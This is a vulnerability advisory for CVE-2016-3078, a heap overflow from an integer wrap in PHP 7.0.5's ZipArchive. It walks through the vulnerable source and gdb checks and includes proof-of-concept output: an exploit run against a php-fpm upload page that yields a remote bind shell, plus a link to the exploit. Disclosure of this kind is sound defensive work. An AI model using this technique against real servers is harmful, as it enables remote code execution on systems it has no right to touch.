Details ======= An integer wrap may occur in PHP 7.x before version 7.0.6 when reading zip files with the getFromIndex() and getFromName() methods of ZipArchive, resulting in a heap overflow. php-7.0.5/ext/zip/php_zip.c ,---- | 2679 static void php_zip_get_from(INTERNAL_FUNCTION_PARAMETERS, int type) /* {{{ */ | 2680 { | .... | 2684 struct zip_stat sb; | .... | 2689 zend_long len = 0; | .... | 2692 zend_string *buffer; | .... | 2702 if (type == 1) { | 2703 if (zend_parse_parameters(ZEND_NUM_ARGS(), "P|ll", &filename, &len, &flags) == FAILURE) { | 2704 return; | 2705 } | 2706 PHP_ZIP_STAT_PATH(intern, ZSTR_VAL(filename), ZSTR_LEN(filename), flags, sb); // (1) | 2707 } else { | 2708 if (zend_parse_parameters(ZEND_NUM_ARGS(), "l|ll", &index, &len, &flags) == FAILURE) { | 2709 return; | 2710 } | 2711 PHP_ZIP_STAT_INDEX(intern, index, 0, sb); // (1) | 2712 } | .... | 2718 if (len < 1) { | 2719 len = sb.size; | 2720 } | .... | 2731 buffer = zend_string_alloc(len, 0); // (2) | 2732 n = zip_fread(zf, ZSTR_VAL(buffer), ZSTR_LEN(buffer)); // (3) | .... | 2742 } `---- With `sb.size' from (1) being: php-7.0.5/ext/zip/lib/zip_stat_index.c ,---- | 038 ZIP_EXTERN int | 039 zip_stat_index(zip_t *za, zip_uint64_t index, zip_flags_t flags, | 040 zip_stat_t *st) | 041 { | ... | 043 zip_dirent_t *de; | 044 | 045 if ((de=_zip_get_dirent(za, index, flags, NULL)) == NULL) | 046 return -1; | ... | 063 st->size = de->uncomp_size; | ... | 086 } `---- Both `size' and `uncomp_size' are unsigned 64bit integers: php-7.0.5/ext/zip/lib/zipint.h ,---- | 339 struct zip_dirent { | ... | 351 zip_uint64_t uncomp_size; /* (cl) size of uncompressed data */ | ... | 332 }; `---- php-7.0.5/ext/zip/lib/zip.h ,---- | 279 struct zip_stat { | ... | 283 zip_uint64_t size; /* size of file (uncompressed) */ | ... | 290 }; `---- Whereas `len' is signed and has a platform-dependent size: php-7.0.5/Zend/zend_long.h ,---- | 028 #if defined(__x86_64__) || defined(__LP64__) || defined(_LP64) || defined(_WIN64) | 029 # define ZEND_ENABLE_ZVAL_LONG64 1 | 030 #endif | ... | 033 #ifdef ZEND_ENABLE_ZVAL_LONG64 | 034 typedef int64_t zend_long; | ... | 043 #else | 044 typedef int32_t zend_long; | ... | 053 #endif `---- Uncompressed file sizes in zip-archives may be specified as either 32- or 64bit values; with the latter requiring that the size be specified in the extra field in zip64 mode. Anyway, as for the invocation of `zend_string_alloc()' in (2): php-7.0.5/Zend/zend_string.h ,---- | 119 static zend_always_inline zend_string *zend_string_alloc(size_t len, int persistent) | 120 { | 121 zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent); // (4) | ... | 133 ZSTR_LEN(ret) = len; // (5) | 134 return ret; | 135 } `---- The `size' argument to the `pemalloc' macro is aligned/adjusted in (4) whilst the *original* value of `len' is stored as the size of the allocated buffer in (5). No boundary checking is done in (4) and it may thus wrap, which would lead to a heap overflow during the invocation of `zip_fread()' in (3) as the `toread' argument is `ZSTR_LEN(buffer)': php-7.0.5/Zend/zend_string.h ,---- | 041 #define ZSTR_LEN(zstr) (zstr)->len `---- On a 32bit system: ,---- | (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0xfffffffe)) | $1 = 0x10 `---- The wraparound may also occur on 64bit systems with `uncomp_size' specified in the extra field (Zip64 mode; ext/zip/lib/zip_dirent.c:463). However, it won't result in a buffer overflow because of `zip_fread()' bailing on a size that would have wrapped the allocation in (4): php-7.0.5/ext/zip/lib/zip_fread.c ,---- | 038 ZIP_EXTERN zip_int64_t | 039 zip_fread(zip_file_t *zf, void *outbuf, zip_uint64_t toread) | 040 { | ... | 049 if (toread > ZIP_INT64_MAX) { | 050 zip_error_set(&zf->error, ZIP_ER_INVAL, 0); | 051 return -1; | 052 } | ... | 063 } `---- php-7.0.5/ext/zip/lib/zipconf.h ,---- | 130 #define ZIP_INT64_MAX 0x7fffffffffffffffLL `---- ,---- | (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0x7fffffffffffffff)) | $1 = 0x8000000000000018 `---- PoC === Against Arch Linux i686 with php-fpm 7.0.5 behind nginx [1]: ,---- | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php | [*] this may take a while | [*] 103 of 4096 (0x67fd0)... | [+] connected to 1.2.3.4:5555 | | id | uid=33(http) gid=33(http) groups=33(http) | | uname -a | Linux arch32 4.5.1-1-ARCH #1 SMP PREEMPT Thu Apr 14 19:36:01 CEST | 2016 i686 GNU/Linux | | pacman -Qs php-fpm | local/php-fpm 7.0.5-2 | FastCGI Process Manager for PHP | | cat upload.php | <?php | $zip = new ZipArchive(); | if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) { | echo "cannot open archive\n"; | } else { | for ($i = 0; $i < $zip->numFiles; $i++) { | $data = $zip->getFromIndex($i); | } | $zip->close(); | } | ?> `---- Solution ======== This issue has been fixed in php 7.0.6. Footnotes _________ [1] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-3078] -- Hans Jerry Illikainen